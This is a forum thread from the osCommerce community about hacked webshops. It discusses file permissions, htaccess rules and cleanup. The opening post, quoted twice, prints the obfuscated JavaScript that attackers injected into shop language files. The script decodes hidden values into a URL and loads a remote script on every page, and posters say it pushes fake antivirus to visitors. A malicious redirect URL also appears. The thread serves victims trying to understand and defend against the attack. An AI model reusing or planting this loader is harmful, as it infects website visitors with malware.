Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Hacked webshop!


linus1

Recommended Posts

Hello!

 

Some1 has hacked my webshop by inserting the following code in my lang-file!!! :(

 

How and how do I protect the site?

 

Parse error: syntax error, unexpected T_VAR in /usr/local/pem/vhosts/148661/webspace/httpdocs/webshop/includes/languages/svenska/index.php on line 31

 

Code for svebsje

<script type="text/javascript">

</script><script type="text/javascript">
if (typeof(redef_colors)=="undefined") {

  var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7a84', '#82837e', '#40403d', '#727e7c', '#3e7982', '#3e7980', '#847481', '#883d7c', '#787d3d', '#7f777f', '#314d00');
  var redef_colors = 1;
  var colors_picked = 0;

  function div_pick_colors(t,styled) {
var s = "";
for (j=0;j<t.length;j++) {	
	var c_rgb = t[j];
	for (i=1;i<7;i++) {
		var c_clr = c_rgb.substr(i++,2);
		if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
	}
}
if (styled) {
	s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
} else {
	s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
}
return s;
  }

  function try_pick_colors() {
try {
   	if(!document.getElementById || !document.createElement){
		document.write(div_pick_colors(div_colors,1));
	   } else {
		var new_cstyle=document.createElement("script");
		new_cstyle.type="text/javascript";
		new_cstyle.src=div_pick_colors(div_colors,0);
		document.getElementsByTagName("head")[0].appendChild(new_cstyle);
	}
} catch(e) { }
try {
	check_colors_picked();
} catch(e) { 
	setTimeout("try_pick_colors()", 500);
}
  }

  try_pick_colors();

}
</script>

Link to comment
Share on other sites

  • Replies 52
  • Created
  • Last Reply

Hello!

 

Some1 has hacked my webshop by inserting the following code in my lang-file!!! :(

 

How and how do I protect the site?

 

Parse error: syntax error, unexpected T_VAR in /usr/local/pem/vhosts/148661/webspace/httpdocs/webshop/includes/languages/svenska/index.php on line 31

 

Code for svebsje

<script type="text/javascript">

</script><script type="text/javascript">
if (typeof(redef_colors)=="undefined") {

  var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7a84', '#82837e', '#40403d', '#727e7c', '#3e7982', '#3e7980', '#847481', '#883d7c', '#787d3d', '#7f777f', '#314d00');
  var redef_colors = 1;
  var colors_picked = 0;

  function div_pick_colors(t,styled) {
var s = "";
for (j=0;j<t.length;j++) {	
	var c_rgb = t[j];
	for (i=1;i<7;i++) {
		var c_clr = c_rgb.substr(i++,2);
		if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
	}
}
if (styled) {
	s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
} else {
	s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
}
return s;
  }

  function try_pick_colors() {
try {
   	if(!document.getElementById || !document.createElement){
		document.write(div_pick_colors(div_colors,1));
	   } else {
		var new_cstyle=document.createElement("script");
		new_cstyle.type="text/javascript";
		new_cstyle.src=div_pick_colors(div_colors,0);
		document.getElementsByTagName("head")[0].appendChild(new_cstyle);
	}
} catch(e) { }
try {
	check_colors_picked();
} catch(e) { 
	setTimeout("try_pick_colors()", 500);
}
  }

  try_pick_colors();

}
</script>

Link to comment
Share on other sites

Just had the same happen to me ... will post if I get anywhere with the problem. Are you able to access your admin panel at all?

 

Regards

Danny

 

I've got the same problem with my site.

Link to comment
Share on other sites

Just out of curiosity, who is everyone hosted with ? I have seen Blue Host warnings, anyone with them ?

 

 

 

 

 

Chris

Link to comment
Share on other sites

Now my website is down! It shows the home page but, as soon as I navigate to another page it comes up with this

 

http://scanantivirixp.com/index2.php?06abQDIxQU+QUmvyrS5m3cGtezgyM3M8LlhYdyegBghUMMMiRH6F

 

Going to try and upload the site over the existing?

 

 

No delete the existing and reinstall - if you overwrite you only overwrite osC files not any that would have been installed by the hacker.

 

If you feel you need to keep your images folder, first download it and delete the on-line folder, then scrutinise every file in your images folder before replacing it; any .php files and any image files you do not recognise you should delete hackers love hiding their files in images folders, the following saved as .htaccess in your image folder will keep hackers out:

 

# $Id$
#
# This is used to restrict access to this folder to anything other
# than images

# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
  Order Deny,Allow
  Deny from all
</FilesMatch>

My store is currently running Phoenix 1.0.3.0

I'm currently working on 1.0.7.2 and hope to get it live before 1.0.8.0 arrives (maybe 🙄 )

I used to have a list of add-ons here but I've found that with the ones that supporters of Phoenix get any other add-ons are not really neccessary

Link to comment
Share on other sites

hi,

 

this has happend to my website too... i think they came though the customer_testmonials.php.

 

many files had this script injected.. it basically creates an iframe for traffic redirection to malware site..

 

it was even in ALL my .js files, in all the folders.. i donno how they got it.. any help would be great..

 

thanks

 

and for the record i am NOT on shared hosting.

Link to comment
Share on other sites

The question is not so much about shared hosting, although these type of phase two attacks are more common with shared host configurations, but whether or not a file with a permission of 644 is writable by your server.

 

So to test this create a file called something like filetester.php and add this code into it:

 

<?php
 if ( is_writable( "index.php" ) ) {
     echo "- index.php is writable by the server<br>";
 } else {
     echo "- index.php is not writable by the server<br>";
 }
 $writeperms = substr( decoct( fileperms( "index.php" ) ),3 );
 echo "- the file permissions for index.php are " . $writeperms;
?>

Upload it into your main catalog directory and browse to it.

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

There is some confusion surrounding the issue of file and folder permissions, and a lot of this is because there has been a change in methods in the last few years and many are not aware of.

 

There are in general two philosophies with virtual hosts now which have come into play probably because of the esculation in traversial type server intrusions.

 

Before, the common method which Ill refer to as method 1, the first of the two primary methods, was to use folder and file permissions as a means of controlling the writability of content where the server script, in this case php, needed a file to have a write permission of 666 to be able to write to that file.

 

The case was the same with folders, which like files of 644, were by default non-writable. In order for php to write to files in that folder, or to create files or delete files or even chnmod files, the folders have to have permissions of 777. 777 though meant that the writable folder was prone to an attack from another infected website on the webserver, using a directory traversal, an attacker could write into any folder within other websites that were writable.

 

And because it is possible in method 1 for malicious scripts to execute outside of the virtual host folder, it is possible for affected scripts to be used to read higher up into the server, like to nab the root user and passwords, scan all directories and files, read them, which usually could give an attacker enough information to be able to enter every site on that server (consider for a minute that a configure.php file chmod to 644 is still readable, even chmod to 444 is still 'readable' in this method 1 type configuration. In configure.php are the user and passwords for your mysql server, and in many situations, that user and password is not that different from the cpanel login, and the FTP user and password.

 

So while this restricted the overwriting attacks (often referred to as defacements) to just writable folders and to writable files on your website, it did allow attacks to span across multiple websites, often referred to as a mass defacement. It allowed attackers to run arbitrary code on non-root services like APACHE and spamassassin and others.

 

The second method, method 2 which has come into play with several php mods, usually in share hosting configurations, is to assign the owner privaleges to the user and the script, thus pretty much making the whole file and folder permissions almost redundant if your web code security is crap. On the plus side, if another site on the shared server is exploited, the attack is not able to spread their attack across virtual hosts, in other words, the attack is restricted to just the site that has the weak security coding.

 

On the downside of method 2, if your site is the one that has been attacked, every file and folder in that configuration is pretty much vulnerable to be overwritten irregardless of the file permissions (if malicious backdoor files have been installed, or code appended into files from the previous admin bypass exploit).

 

Sure you can chmod a file to 444 via a filemanager or FTP client (if allowed), but in this particular configuration which is becoming more and more popular amongst shared hosts, because PHP has user permissions therefore is the owner, it is able to chmod file permissions back to writable.

 

So all an attacker needs to do is call chmod() a file from 444 to 644 before calling fopen($filename, 'a') to append their code to any file they wish, and if they want to be nice, chmod the appended file back to 444.

 

Of course it is a waste of time doing this to some files, so they go for the main include files usually, like the language file, application_top and the javascripts.

 

I think the key indicator in all of this is that if PHP is saying that all files and folders by default (644 for files and 755 for folders) are writable, and in some situations, the webhost has given you your own php.ini to play with, then your site is on one of these configurations.

 

So therefore that means that the attack has come via a file still resident in your file repository or appended code in your site files somewhere that you must have missed.

 

So that little script above just gives you an indicator that if your index.php file is set to 644 and is writable by PHP, then there is a good chance all the files are the same. And by implication that your site is on a method 2 type configuration, that could mean there is still a rogue file or code somewhere on your site that has been missed somehow, rather than the usual assumption that the attack has been a traversal across from another affected website.

 

Long-winded I know, but just hope it gives a better insight into why there are differences in server setups where that same code above on one site would say that index.php is read only, and on another, its writable, yet the file permissions are the same.

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

hey taipo,

thanks for taking the effort to explain soo much.. much appreciated.

 

my main aim of asking what permission it should be, was to ask you what does that filetester.php tell us.

 

I mean i know the output.. but was is the desirable result.. if its just checking the PERM, cant we just do that via FTP or filemanger...

 

BTW i like to OSC_SEC stuff.. but i am using CRE LOADED and getting a few errors when i include it..any ideas on trouble shooting that.. or is there a post that already has sum troubleshooting on it?

 

 

thanks

Link to comment
Share on other sites

The point is to ask the question of what does PHP think of the file permissions. If it can write to the file, then so can any malicious filemanager [shell] that has been uploaded either as a file, or combined into other files in your file repository as appended code. I could write up something too, to test if PHP can chmod a file from 444 as well, just for curiousity sake.

 

BTW, adding an htaccess file into your includes folder with this in it also helps:

 

Options All -Indexes

<Files *.php>
Order Deny,Allow
Deny from all
</Files>

 

As for CRE LOADED, sorry I am not familiar with that shop cart, I assume its a remake of oscommerce?

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

The point is to ask the question of what does PHP think of the file permissions. If it can write to the file, then so can any malicious filemanager [shell] that has been uploaded either as a file, or combined into other files in your file repository as appended code. I could write up something too, to test if PHP can chmod a file from 444 as well, just for curiousity sake.

 

BTW, adding an htaccess file into your includes folder with this in it also helps:

 

Options All -Indexes

<Files *.php>
Order Deny,Allow
Deny from all
</Files>

 

As for CRE LOADED, sorry I am not familiar with that shop cart, I assume its a remake of oscommerce?

 

thanks for that.. yes CRE is a complete copy/ based on OS commerce.. all the same plugins / modules work.. somer require a little modifications though..

 

 

any way.. i will wait for that new test code check 444 permissions... :)

Link to comment
Share on other sites

Well yep, but you can still do that with the current code. If it says its not writable, then PHP is unable to change your file permissions or edit the files that are set to 444, therefore neither can any other rogue file on your site (if any).

 

To date I have not seen any attack scripts that try to chmod from 444 because most just dont ask the question, they just call the file write and if it works it works, if it doesnt, they move on to another site.

 

But its still possible on some configurations.

 

Try this, create a file called whatever you want, test123.php for example. Add this to it:

 

<?php
$testfile = "testchmod.php";
error_reporting(0);
$i=0;
     if ( !chmod( $testfile, 0666 ) ) {
     	$i++;
     } else {
     	$msg .= "able to chmod<br>";
     }
     if ( !$fp = @fopen( $testfile, "w" ) ) {
     	$i++;
     } else {
     	$msg .= "able to open file<br>";
     }
     $contents = file_get_contents( $testfile, true );
     if ( fwrite( $fp, $testfile ) === FALSE ) {
     	$i++;
     } else {
     	$msg .= "able to write to file<br>";
     }
     if ( !fclose( $fp ) ) {
     	$i++;
     } else {
    	$msg .= "able to close file<br>";
     }

     if( $i > 0 ) { 
     	echo $testfile . " is Write-Protected";      	
     } else {
     	echo $msg;
     }
?>

 

and upload it to your shop folder.

 

Then create a second file called testchmod.php and upload that to your shop, and chmod it to whatever, 444, 600, 644 etc.

 

Then run test123.php and see what it says.

 

If PHP can write to it, it will chmod the file to 666 and print out what it is able to do.

 

!!! Only try this on test files, never on your actual site files.

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

hey.. thanks for this..

 

I tried it and it they were all successful... even if the file permission was 444.

 

how does this happen?

 

do i need to change some settings to protect against this... or is this normal??

 

 

Thanks

Link to comment
Share on other sites

We are seeing this often for the last few days (and it is in fact malware). Some details in here:

 

sucuri.net/malware/malware-entry-mwjs1240

 

It tries to push the "fake AV" to the site visitor...

 

Anyone can scan to see if a site is infected here (for free): sitecheck.sucuri.net

Link to comment
Share on other sites

how does this happen?

 

Because the server has been configured to assign the user (/home/username) owner permissions, and the script (PHP) runs as the owner as well (the reason why for example you do not need to make any folders or files writable in order for a script to write), then any script on the site can be edited, including changing file permissions and folder permissions.

 

If you have a site with www.000webhost.com for example, the default install of oscommerce will now read that the configuration.php file is writable no matter what setting you change the permissions to, this is because you would need to change it to 444 to be read only, but their server only allows 600 as the lowest permission, or, in terms of readable permissions, 644 - which is still writable, so the only way to get rid of that message is to actually comment it out.

 

As I said earlier, on the plus side, at least in that configuation, an attacker cannot get into your site from another site on the same server and read the contents of your files and folders, and since there are no 'world writable' files and folders, they could not write to them as well.

 

On the downside though, if you have rogue files still resident in your website files (on a server that uses method 2), then file permissions are not going to save you.....you have to root the rogue files out, file by file, or remove the site and upload a backup that is not infected, or, start again with the latest version of oscommerce by completely removing all the site files and uploading the new version.

 

This is just another reason also why I believe that htaccess should be your first line of defence and its a pity that XSS htaccess addon has been abandoned because of bad advice given to the author, because htaccess is pretty much the only set of directives that can limit the damage of rogue files on this type of server configuration, unlike php files which need to be included into the head of files in order for their content to matter, htaccess works at the directory level irrespective of if application_top is included in the php file or not.

 

You imagine if an attacker has a shell file uploaded to your site, and you have either Security Pro or Osc Sec installed, they could simply comment the file include out of application_top.php and rewrite it back in again after every action. Thats the reality, and that is why both a clean site, and good htaccess rules are the best combination where your server is configured in this manner.

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

Hi everybody,

 

My site also has been hacked by someone. After googling something I came up with this site: http://sucuri.net/malware/malware-entry-mwjs1240

 

It explains that ALL osCommerce websites could be affected.

 

So for everyone: be aware.

 

At my site, eight language files were rewritten with the code explained on the website above. This happend three time for the last two weeks. Last night at 22.26h and the night before at 21.26h. The first time I didn't pay any attention to the time that this happend. I just wanted to get my site running up again...

 

For now I've included a .htaccess file in my includes/languages/dutch folder hoping that this could be a trigger to stop this annoyance !

 

I've downloaded a couple of images from an Austrian website (www.wollerei.at) and (must be coincidence..) after that time my site has been hacked. I don't know if this is the problem. Hope to see this tomorrow morning because today I've put the .htaccess file in the folder. If this doesn't work, maybe the images of that website are the problem...

 

Greetings,

Marcus

Link to comment
Share on other sites

This has happened to a client of mine twice now ..

 

First time it happened I applied the PHP_SELF fix that was mentioned in numerous threads, I also applied the .htaccess changes to prevent direct PHP access from the includes folder and I did the same for the images directory..

 

I executed a linux command .. find -name "*.php" -mtime -1 and identified all modified files, there were no new files uploaded so no PHP shells or anything like that.. just modified language files!

 

I checked FTP logs, so no FTP logins .. someone is clearly posting to an existing OSC file that is allowing them to execute code .. the admin folder is protected by htaccess and I don't see any one accessing that directory anyway via http so I'm not sure yet how it's happening but I've at least narrowed it to the main catalog folder and not any sort of PHP shell ..

 

By the way someone asked about hosting, this site is hosted on a local provider's server .. small company.. I have my own server with several oscommerce sites, none of those have been touched but I also have write permissions locked down

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...